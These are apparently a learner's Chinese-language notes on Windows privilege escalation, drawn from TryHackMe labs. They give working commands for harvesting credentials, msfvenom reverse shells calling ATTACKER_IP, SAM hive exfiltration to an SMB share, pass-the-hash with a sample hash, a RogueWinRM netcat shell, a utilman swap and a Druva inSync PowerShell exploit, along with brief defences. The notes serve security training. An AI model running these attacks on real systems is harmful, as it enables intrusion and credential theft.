win的提权

从通常的位置收集密码

远程连接

纯命令行

xfreerdp

xfreerdp /v:<远程IP> /u:<用户名> /p:<密码>

界面

remmina

Powershell历史

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去命令的内存。这对于快速重复您之前使用的命令非常有用。如果用户在 Powershell 命令行中直接运行包含密码的命令,则稍后可以从 cmd.exe提示符中使用以下命令检索该密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%userprofile%
这是 Windows 的环境变量,表示当前用户的主目录(Home 目录)。
如果要在powershell执行命令我们要把%userprofile%换为$Env:userprofile

image-20250310224125306

保存的 Windows 凭据

Windows 允许我们使用其他用户的凭据。此函数还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:

cmdkey /list 用于列出当前用户存储的凭据(如用户名和密码),这些凭据通常用于自动登录到远程计算机、网络共享或其他受身份验证保护的资源。

image-20250310224150121

如果您发现任何值得尝试的凭据,可以将它们与 runas 命令和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe

该命令用于以 admin 用户的身份运行 cmd.exe(命令提示符),并使用 savecred 选项存储密码,以后运行相同的命令时无需再次输入密码。

这里发现哪个用户有凭证就使用哪个用户

以下是在文件上查找数据库连接字符串的快速方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

该命令用于在 web.config 配置文件中查找包含 connectionString 的行,通常用于查找数据库连接字符串。

PuTTY

是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接的参数,而是可以存储会话,其中 IP、用户和其他配置可以存储以供以后使用。虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包含明文身份验证凭据的代理配置

用于在注册表中查询 PuTTY 的会话配置,筛选出包含 “Proxy” 的项。这可以帮助您查看各个会话的代理设置。

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

其他快速获胜

Scheduled Tasks 计划任务

可以使用 schtasks 命令从命令行列出计划任务,不带任何选项。要检索有关任何服务的详细信息,您可以使用类似于以下的命令:

schtasks /query /tn vulntask /fo list /v

您将获得有关任务的大量信息,但对我们来说重要的是“Task to Run”参数,该参数指示计划任务执行的内容,以及“Run As User”参数,该参数显示将用于执行任务的用户。

如果我们的当前用户可以修改或覆盖 “Task to Run” 可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而产生简单的权限提升。要检查可执行文件的文件权限,我们使用 icacls

AlwaysInstallElevated 始终安装提升

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成一个恶意的 MSI 文件,该文件将以管理员权限运行。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,应同时设置两者。否则,将无法进行利用。如果设置了这些,您可以使用 msfvenom 生成恶意 .msi 文件,如下所示:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,因此您还应该运行相应配置的 Metasploit Handler 模块。传输已创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

该命令使用 Windows Installer (msiexec)静默模式 下安装指定的 MSI 软件包 (malicious.msi)。

Abusing Service Misconfigurations滥用服务配置错误

对服务可执行文件的不安全权限

Windows 服务由服务控制管理器 (SCM) 管理。SCM 是一个过程,负责根据需要管理服务的状态,检查任何给定服务的当前状态,并通常提供一种配置服务的方法。

Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,该可执行文件将由 SCM 运行。请务必注意,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此无法将任何可执行文件作为服务成功启动。每个服务还指定运行服务的用户帐户。

这个可以理解为我们可以对一个服务的执行文件有一个权限可以进行移动改名什么的然后我们将我们构造的恶意文件去替换服务关联的可执行文件

首先,我们将使用 sc 查询服务配置:

sc qc apphostsvc

image-20250313211322520

BINARY_PATH_NAME 参数指定关联的可执行文件

用于运行服务的帐户显示在 SERVICE_START_NAME 参数上

比如我们查询到

文件位置后使用 msfvenom 生成一个 exe-service 有效负载,并通过 python Web 服务器提供它

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

然后在目标靶机上

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

然后进行替换

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.

然后在我们攻击机上起一个监听即可

然后只要服务重启我们就可以

得到shell了

未加引号的服务路径

使用 Windows 服务时,当服务配置为指向“未加引号的”可执行文件时,会发生非常特殊的行为

例如:

image-20250313211424055

当 SCM 尝试执行关联的二进制文件时,会出现问题。由于 “Disk Sorter Enterprise” 文件夹的名称上有空格,因此命令变得不明确,并且 SCM 不知道您尝试执行以下哪项作

首先,搜索 C:\\MyPrograms\\Disk.exe。如果存在,则服务将运行此可执行文件。

如果后者不存在,它将搜索 C:\\MyPrograms\\Disk Sorter.exe 。如果存在,则服务将运行此可执行文件。

如果后者不存在,它将搜索 C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe 。此选项预期会成功,并且通常会在默认安装中运行。

所以我们可以创建一个恶意文件顶替关联文件利用机制让其执行我们的恶意文件比如我们创建一个C:\MyPrograms\Disk.exe

或者是C:\MyPrograms\Disk Sorter.exe

虽然默认情况下,大多数服务可执行文件将安装在 C:\Program FilesC:\Program Files (x86) 下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则也有例外: - 某些安装程序更改了已安装文件夹的权限,使服务容易受到攻击。-

管理员可能决定在非默认路径中安装服务二进制文件。如果这样的路径是全局可写的,则可以利用此漏洞。

icacls可用来检查权限

例:

image-20250313212200593

image-20250313212236780

使用 msfvenom 创建 exe-service 负载并将其传输到目标主机的过程与以前相同,因此请随意创建以下负载并像以前一样将其上传到服务器。我们还将启动一个侦听器,以便在执行时接收反向 shell:

有效负载进入服务器后,将其移动到可能发生劫持的任何位置。在本例中,我们会将有效负载移动到 C:\MyPrograms\Disk.exe。我们还将授予 Everyone 对该文件的完全权限,以确保服务可以执行该文件:

image-20250313215705636

不安全的服务权限

如果服务的可执行 DACL 配置正确,并且服务的二进制路径被正确引用,则您可能仍有很小的机会利用该服务。如果服务 DACL(而不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件,并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

要从命令行检查服务 DACL,您可以使用 Sysinternals 套件中的 Accesschk。为方便起见,C:\\tools 中提供了一份副本。检查 thmservice 服务 DACL 的命令为:

image-20250313220059481

这里我们可以看到 BUILTIN\\Users 组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置服务。

在更改服务之前,让我们构建另一个 exe-service 反向 shell,并在攻击者的机器上为它启动一个监听器:

image-20250313220115972

然后,我们会将反向 shell 可执行文件传输到目标计算机并将其存储在 C:\Users\thm-unpriv\rev-svc3.exe 中。随意使用 wget 传输可执行文件并将其移动到所需位置。请记住向 Everyone 授予执行有效负载的权限:

C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务的关联可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):

C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Abusing dangerous privileges滥用危险权限

权限是帐户执行特定系统相关任务时必须拥有的权限。这些任务可以像关闭计算机的权限一样简单,也可以绕过某些基于 DACL 的访问控制的权限。

每个用户都有一组分配的权限,可以使用以下命令检查这些权限:

whoami /priv

此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的权限才有意义。您可以在 Priv2Admin Github 项目上找到可利用权限的完整列表。

展示如何滥用您能找到的一些最常见的特权。

SeBackup / SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的 DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

拥有此权限,攻击者可以使用多种技术轻松提升系统的权限。我们将查看的配置包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希。

此帐户是“Backup Operators”组的一部分,默认情况下,该组被授予 SeBackup 和 SeRestore 权限。我们需要使用 “Open as administrator(以管理员身份打开)”选项打开命令提示符以使用这些权限。系统将要求我们再次输入密码以获取提升的控制台:

image-20250317185406640

shell弹出来后进行一个简单的提权

image-20250317185518767

首先备份一个

hklm\system

  • 备份 HKEY_LOCAL_MACHINE\SYSTEM,其中包含系统配置、驱动程序信息等关键数据。
  • 该 Hive 可用于提取 系统启动信息、LSA Secrets、SAM 账户解密密钥 等。

hklm\sam

  • 备份 HKEY_LOCAL_MACHINE\SAM,它存储 Windows 本地账户信息。
  • 该 Hive 可用于提取 用户哈希密码(NTLM Hash)

获取 Windows 本地账户的 NTLM Hash

  • HKLM\SAM 存储用户凭据,但它是加密的。

  • HKLM\SYSTEM 里存有解密密钥,可用来解密 SAM 中的 NTLM Hash。

    然后使用一些方法将其copy到你的攻击机上

    下面我们演示用smb服务来将文件传到攻击机上

    你的命令在攻击者机器 上使用 Impacket 提供了一个 SMB 共享服务器

    impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share

    这将创建一个名为 public 的共享,指向共享目录,这需要我们当前 Windows 会话的用户名和密码。在此之后,我们可以使用 Windows 机器中的 copy 命令将两个文件传输到我们的 攻击机

image-20250317185803701

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

使用 impacket 检索用户的密码哈希值:

image-20250317190128805

然后就可以使用Administrator 的哈希来执行 Pass-the-Hash 攻击,并以 SYSTEM 权限访问目标计算机:

补充Pass-the-Hash,Pass The Ticket

这里对 Pass-the-Hash 进行一个扩展补充

哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

虽然哈希传递攻击可以在Linux,Unix和其他平台上发生,但它们在windows系统上最普遍。 在Windows中,pth通过NT Lan Manager(NTLM),Kereros和其他身份验证协议来进行单点登录。在Windows中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory中的ntds.dit数据库或者其他地方。因此,当用户登录windows工作站或服务器时,他们实际上会留下密码凭据(hash)。

Pass The Ticket

票据传递攻击(Pass The Ticket,PTT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PTH基于 NTLM 认证进行攻击,而 PTT 基于 Kerberos 协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限。
常用的攻击方式:MS14-068、黄金票据、白银票据等。

PAC
微软在Windows平台上对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书。

在一个域中,通过 User 的 SID 和所在组 Group 的 SID 来确定该用户所拥有的权限。所以 PAC 包含 Client 的 User 的 SID、Group 的 SID。PAC 为了保证自身的合法性,还包含 2 个签名。

(1)Client 向 AS 请求认证,验证完Client的身份后,AS 在返回 TGT 时,生成 PAC,以及用于确保 PAC 不被篡改的两个签名,一个签名的密钥为 KDC用户(krbtgt) 的 NTLM Hash,另一个签名的密钥为 Server 的 NTLM Hash,而签名的内容主要为 User SID、Group SID

img

Client向 TGS 发送请求,来获取访问 Server的Ticket 。TGS 对TGS Request 中的 TGT 解密,并通过两个签名来验证 PAC 的合法性。若验证通过,TGS 会重新生成两个新的签名保证 PAC 不被篡改。第一个签名的密钥为 Server 的 NTLM Hash,第二个密钥为 Server 与 Client 的临时会话密钥 Session Key(Server-Client)。新的 PAC 会被放置在签发的访问票据 Ticket 中,使用 Server 的 NTLM Hash进行加密。
img

Client 使用 Ticket 向 Server 请求相应的资源, Server收到请求,将 Ticket 解密并验证,校验 PAC 中的两个签名,验证 PAC 的合法性,之后根据 PAC 得知Client的权限,让其访问对应资源。

3、漏洞产生原理
Client 在向 AS 发送请求时,可以设置一个名为 include-pac 的字段为 False,而后 AS 生成的 TGT 并不会含有PAC,该字段默认为 True。在 Client 收到不含 PAC 的 TGT 后,可以添加一个 PAC 放于TGS Request 的数据包中,而 TGS 收到这个请求的数据包时,仍能正确解析出放在 TGS Request 中其他位置的 PAC 信息,因为 KDC 允许用户使用这样的构造。

在 KDC 对 PAC 进行验证时,对于PAC中的签名算法,虽然原则上规定使用密钥加密的签名算法,但微软在实际场景中却允许 Client 指定任意签名算法。所以Client 构造一个PAC,其中添加高权限的User SID 与 Group SID信息,并指定使用MD5进行签名,只要TGS Requset 数据不丢失,那么该伪造的 PAC 就能被验证通过。

PAC 验证通过后,KDC 会将 PAC 中的 User SID、Group SID 取出来,重新使用KDC用户(krbtgt) 的 NTLM Hash 和 Server 的 NTLM Hash 分别生成两个新的签名。之后生成一个新的 TGT ,并把 PAC放入其中,加密后发送给 Client,而不是发送 Ticket 给Client。

img

参考:[渗透测试中的域渗透之MS14-068域控提权+票据传递攻击PTT-CSDN博客](https://blog.csdn.net/YhMjQx/article/details/146234992#:~:text=票据传递攻击(Pass The Ticket,PTT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。,PTH基于 NTLM 认证进行攻击,而 PTT 基于 Kerberos 协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限。 常用的攻击方式:MS14-068、黄金票据、白银票据等。)

[域渗透-哈希传递攻击(Pass The Hash/Key) - 知乎](https://zhuanlan.zhihu.com/p/472019671#:~:text=哈希传递 (pth)攻击是指攻击者可以通过捕获密码的hash值 (对应着密码的值)%2C然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。,因为对于每个Session hash值都是固定的,除非密码被修改了 (需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。)

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@目标ip

SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 运行的服务并获取该服务的可执行文件的所有权。但是,对于这项任务,我们将采取不同的路线。

要获得 SeTakeOwnership 权限,我们需要使用 “Open as administrator” 选项打开命令提示符。系统将要求我们输入密码以获取提升的控制台:

https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/33303d0cde736589d2838ee894379ff2.png

进入命令提示符后,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

由于 Utilman 是以 SYSTEM 权限运行的,如果我们将原始的二进制文件替换为我们构建的payload文件,我们将有效地获得目标机的 SYSTEM 权限。 由于我们可以拥有任何文件的所有权,因此替换原始二进制文件是微不足道的。 要替换 utilman,我们将首先在目标机上使用以下命令获取它的所有权,具体命令和执行结果如下:

这次我们将滥用 utilman.exe 来提升权限。 Utilman 是一个内置的 Windows 应用程序,用于在计算机锁定屏幕期间 提供“轻松访问”选项:

https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/a5437a609e41d982b320967667e9b97a.png

由于 Utilman 是以 SYSTEM 权限运行的,因此如果我们为任何我们喜欢的有效负载替换原始二进制文件,我们将有效地获得 SYSTEM 权限。由于我们可以拥有任何文件的所有权,因此替换它是微不足道的。

要替换 utilman,我们首先使用以下命令获取它的所有权:

C:\> takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".

请注意,成为文件的所有者并不一定意味着您对它拥有权限,但作为所有者,您可以为自己分配所需的任何权限。要授予用户对 utilman.exe 的完全权限,您可以使用以下命令:

C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files

在此之后,我们将 utilman.exe 替换为 cmd.exe 的副本:

C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.

要触发 utilman,我们将从开始按钮锁定屏幕:

https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/dd7290ca93369cee33182023cb9190ff.png

最后,继续单击“Ease of Access”按钮,该按钮utilman.exe SYSTEM 权限运行。由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符:

utilman shell

SeImpersonate / SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表他们执行(即一个进程可以假装成另一个用户,并以该用户的权限执行操作。)。模拟通常包括能够在其他用户的安全上下文下生成进程或线程。(意味着这个新进程/线程将继承被模拟用户的权限,而不是原始进程的权限。)

当您考虑 FTP 服务器的工作原理时,很容易理解模拟。FTP 服务器必须限制用户仅访问应允许他们查看的文件。

(FTP是用来在两台计算机之间传输文件,是Internet中应用非常广泛的服务之一,它可根据实际需要设置各用户的使用权限,同时还具有跨平台的特性,即在UNIX、Linux和Windows等操作系统中都可实现FTP客户端和服务器,相互之间可跨平台进行文件的传输。)

假设我们有一个 FTP 服务正在运行,用户为 ftp。在没有模拟的情况下,如果用户 Ann 登录到 FTP 服务器并尝试访问她的文件,FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问这些文件:

img

使用 ftp 的令牌不是最好的主意有几个原因:

  • 为了正确提供文件,ftp 用户需要可以访问它们。在上面的示例中,FTP 服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户使用 ftp。这增加了复杂性,因为我们必须为每个提供的文件/目录手动配置特定权限。

  • 对于作系统,所有文件都由用户 ftp 访问,而与当前登录到 FTP 服务的用户无关。这使得无法将授权委托给作系统;因此,FTP 服务必须实现它。

  • 如果 FTP 服务在某个时候遭到入侵,攻击者将立即获得对 ftp 用户有权访问的所有文件夹的访问权限。

另一方面,如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,则所有这些都会稍微简化,因为 FTP 服务可以临时获取登录用户的访问令牌,并使用它代表他们执行任何任务:

img

现在,如果用户 Ann 登录到 FTP 服务,并且 ftp 用户具有模拟权限,则它可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件就不需要以任何方式向用户 ftp 提供访问权限,并且作系统会处理授权。由于 FTP 服务正在模拟 Ann,因此在该会话期间无法访问 Jude 或 Bill 的文件。

作为攻击者,如果我们设法使用 SeImpersonate 或 SeAssignPrimaryToken 权限控制进程,我们可以模拟连接到该进程并进行身份验证的任何用户。

(✅ 攻击者需要利用 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege,让进程可以模拟连接的用户。
为了提权,攻击者必须找到方法让 SYSTEM 或管理员账户连接到该进程,并进行身份验证。
常见方法包括创建恶意 Web 服务器、使用 COM 组件劫持(Juicy Potato)、利用命名管道劫持(PrintSpoofer)等。

🚀 最终目标:攻击者通过 Token 窃取,把低权限账户提升为 SYSTEM,完全控制 Windows 机器!)

Windows 系统中的 LOCAL SERVICENETWORK SERVICE 账户默认拥有 SeImpersonatePrivilege(模拟权限)。
这些账户通常用于运行受限的系统服务,因此 Windows 允许它们在需要时模拟连接的用户,以便执行某些操作。
IIS(Internet Information Services)会为 Web 应用创建默认账户 IIS APPPOOL\DefaultAppPool,它也具有类似的模拟权限。

要使用此类帐户提升权限,攻击者需要满足以下条件:1. 生成一个进程,以便用户可以连接该进程并对其进行身份验证,以便进行模拟。2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

我们将使用 RogueWinRM 漏洞来实现这两个条件。

首先,假设我们已经入侵了在 IIS 上运行的网站,并且我们已经在以下地址植入了一个 Web shell:

我们可以使用 Web Shell 来检查被盗用账户的分配权限,并确认我们拥有此任务所需的两种权限:

Webshell impersonate privileges

要使用 RogueWinRM,我们首先需要将漏洞利用程序上传到目标计算机。为方便起见,这已经完成,您可以在 C:\tools\ 文件夹中找到该漏洞。

RogueWinRM 漏洞利用是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用 SYSTEM 权限自动创建与端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台的端口,以便通过网络远程使用。可以将其视为 SSH,但使用 Powershell。

这段话解释了RogueWinRM 漏洞的核心原理,主要利用了 Windows BITS(后台智能传输服务) 的特性来劫持 SYSTEM 权限的连接,从而在 WinRM(Windows 远程管理)服务上实现提权。

🔹 RogueWinRM 为什么可行?

💡 关键点:
1️⃣ BITS(后台智能传输服务) 允许任何用户(包括低权限用户)启动它
2️⃣ 当 BITS 服务启动时,它会以 SYSTEM 权限自动连接 WinRM(端口 5985)
3️⃣ WinRM 端口 5985 本质上是 Windows 的 SSH,提供远程 PowerShell 访问功能。
4️⃣ 攻击者可以利用这个自动连接劫持 SYSTEM 令牌,实现提权!

📌 1. BITS(Background Intelligent Transfer Service)

  • Windows 的后台文件传输服务,常用于Windows 更新、OneDrive 同步等任务
  • 任何用户(包括普通用户)都可以手动启动 BITS 服务!
  • 当 BITS 运行时,它会自动以 SYSTEM 权限访问 WinRM(5985 端口)。

📌 2. WinRM(Windows 远程管理,端口 5985)

  • WinRM 允许远程管理 Windows 计算机,本质上就是 PowerShell 远程管理的底层服务
  • 默认监听 TCP 5985(HTTP)和 5986(HTTPS)端口
  • 可以用来执行远程 PowerShell 命令,类似于 SSH。

📌 3. RogueWinRM 攻击原理
第一步:创建恶意 WinRM 服务器

  • 攻击者运行 RogueWinRM.exe,创建一个假 WinRM 服务器,监听本地 5985 端口。
  • 这样,当 SYSTEM 级别的进程(如 BITS)尝试连接时,会不小心连接到攻击者控制的 WinRM 服务器

第二步:启动 BITS 触发 SYSTEM 连接

  • 低权限用户可以手动启动 BITS(因为 Windows 允许所有用户操作 BITS 服务)。
  • 由于 BITS 启动后会自动以 SYSTEM 权限连接 5985,攻击者可以拦截该请求!

第三步:劫持 SYSTEM 令牌并提权

  • 当 SYSTEM 进程连接时,攻击者可以劫持其访问令牌(Token)。
  • 最终,攻击者可以模拟 SYSTEM 账户,获得完整的系统控制权限!

如果由于某种原因,WinRM 服务未在受害者服务器上运行,攻击者可以在端口 5985 上启动虚假的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有 SeImpersonate 权限,则他可以代表连接用户执行任何命令,即 SYSTEM。

在运行漏洞之前,我们将启动一个 netcat 侦听器,以便在攻击者的机器上接收反向 shell:

user@attackerpc$ nc -lvp 4442
然后,使用我们的 Web shell 使用以下命令触发 RogueWinRM 漏洞:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

RogueWinRM exploit execution

**注意:**该漏洞可能需要长达 2 分钟才能起作用,因此您的浏览器可能会在一段时间内显示为无响应。如果您多次运行漏洞利用,则会发生这种情况,因为它必须等待 BITS 服务停止后才能再次启动它。BITS 服务将在启动 2 分钟后自动停止。

-p 参数指定漏洞利用程序要运行的可执行文件,在本例中为 nc64.exe-a 参数用于将参数传递给可执行文件。由于我们希望 nc64 建立一个针对攻击者机器的反向 shell,因此传递给 netcat 的参数将是 -e cmd.exe ATTACKER_IP 4442

如果所有设置都已正确,您应该会得到一个具有 SYSTEM 权限的 shell:

user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
nt authority\system
🔹 如何防御 RogueWinRM?

🚨 1. 禁用 WinRM(如果不需要)

powershell


复制编辑
Disable-PSRemoting -Force

这样即使 BITS 以 SYSTEM 权限运行,它也不会连接到 5985 端口,攻击将失败。

🚨 2. 限制 BITS 服务的访问权限

powershell


复制编辑
sc sdset bits D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)

这会限制只有 SYSTEM 账户能启动 BITS,防止低权限用户滥用。

🚨 3. 监控 BITS 启动日志
BITS 运行时会在 Windows 事件日志中留下痕迹,可以监控并检测异常活动。

🚨 4. 关闭不必要的 IIS 站点或 Web 服务
因为很多 Web 服务器环境下 SeImpersonatePrivilege 默认可用,减少攻击面可降低风险。

🔹 总结

RogueWinRM 通过 BITS 服务触发 SYSTEM 连接到 WinRM,进而劫持 SYSTEM 令牌,实现提权。
利用 BITS 自动连接 5985(WinRM 端口)这一特性,让攻击者可以在低权限环境下轻松获取 SYSTEM 权限。
防御措施包括禁用 WinRM、限制 BITS 权限、监控系统日志等,以降低攻击风险。

💀 这个漏洞适用于 Windows 服务器环境,尤其是启用了 WinRM 和 BITS 的情况下,非常危险!

Abusing vulnerable software(滥用易受攻击的软件)

Unpatched Software 未修补的软件

在渗透测试或系统排查过程中,列出目标系统上已安装的软件及其版本信息,可能会发现存在已知漏洞的旧版本软件,从而提供**权限提升(Privilege Escalation)**的机会。例如:

  1. 未打补丁的软件:攻击者可以查找软件的 CVE(公共漏洞和暴露)记录,利用已知漏洞提升权限。
  2. 过时的第三方驱动:某些软件会安装内核驱动,旧版驱动可能存在权限提升漏洞。
  3. 错误的权限配置:某些软件目录或二进制文件的权限设置不当,可能被低权限用户修改或替换。

相关命令:

wmic product get name,version,vendor

该命令会列出所有已安装软件的名称(name)、版本号(version)以及供应商(vendor)。执行可能需要一分钟左右,因为它会遍历注册表项和 WMI 数据库,收集相关信息。

如果你在列出的软件中发现了过时的或有漏洞的版本,可以进一步查找是否存在已知的漏洞利用方式,例如本地提权漏洞(LPE, Local Privilege Escalation)。

请记住,wmic product 命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。检查桌面快捷方式、可用服务或通常表明存在可能易受攻击的其他软件的任何痕迹总是值得的。

案例研究:Druva inSync 6.6.3

目标服务器正在运行 Druva inSync 6.6.3,据 Matteo Malvica 报告,该服务器容易受到权限提升的影响。该漏洞是由于对 Chris Lyne 最初报告的版本 6.5.0 的另一个漏洞应用了错误补丁造成的。

该软件容易受到攻击,因为它在端口 6064 上运行具有 SYSTEM 权限的 RPC(远程过程调用)服务器,只能从 localhost 访问。如果您不熟悉 RPC,它只是一种机制,它允许给定进程通过网络公开函数(在 RPC 术语中称为过程),以便其他计算机可以远程调用它们。

在 Druva inSync 的情况下,端口 6064 上公开的程序之一(特别是程序编号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都以 SYSTEM 权限执行。

版本 6.5.0 及更早版本中报告的原始漏洞允许不受限制地运行任何命令。提供此类功能背后的最初想法是远程执行 inSync 提供的一些特定二进制文件,而不是任何命令。尽管如此,没有进行检查以确保这一点。

发布了一个补丁,他们决定检查执行的命令是否以字符串 C:\ProgramData\Druva\inSync4\ 开头,允许的二进制文件应该在其中。但后来证明这还不够,因为您可以简单地进行路径遍历攻击来绕过这种控制。假设你要执行 C:\Windows\System32\cmd.exe,它不在允许的路径中;您可以简单地要求服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe ,这将成功绕过检查。

要整合一个有效的漏洞利用,我们需要了解如何与端口 6064 通信。幸运的是,使用的协议很简单,要发送的数据包如下图所示:

Druva Exploit Diagram

第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表示我们想要执行第 5 个过程,因为这是易受攻击的过程,它将为我们执行任何命令。最后两个数据包分别用于发送命令的长度和要执行的命令字符串。

最初由 Matteo Malvica 在此处发布,以下漏洞可在您的目标计算机中用于提升权限并检索此任务的标志。为方便起见,以下是原始漏洞利用程序的代码:

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

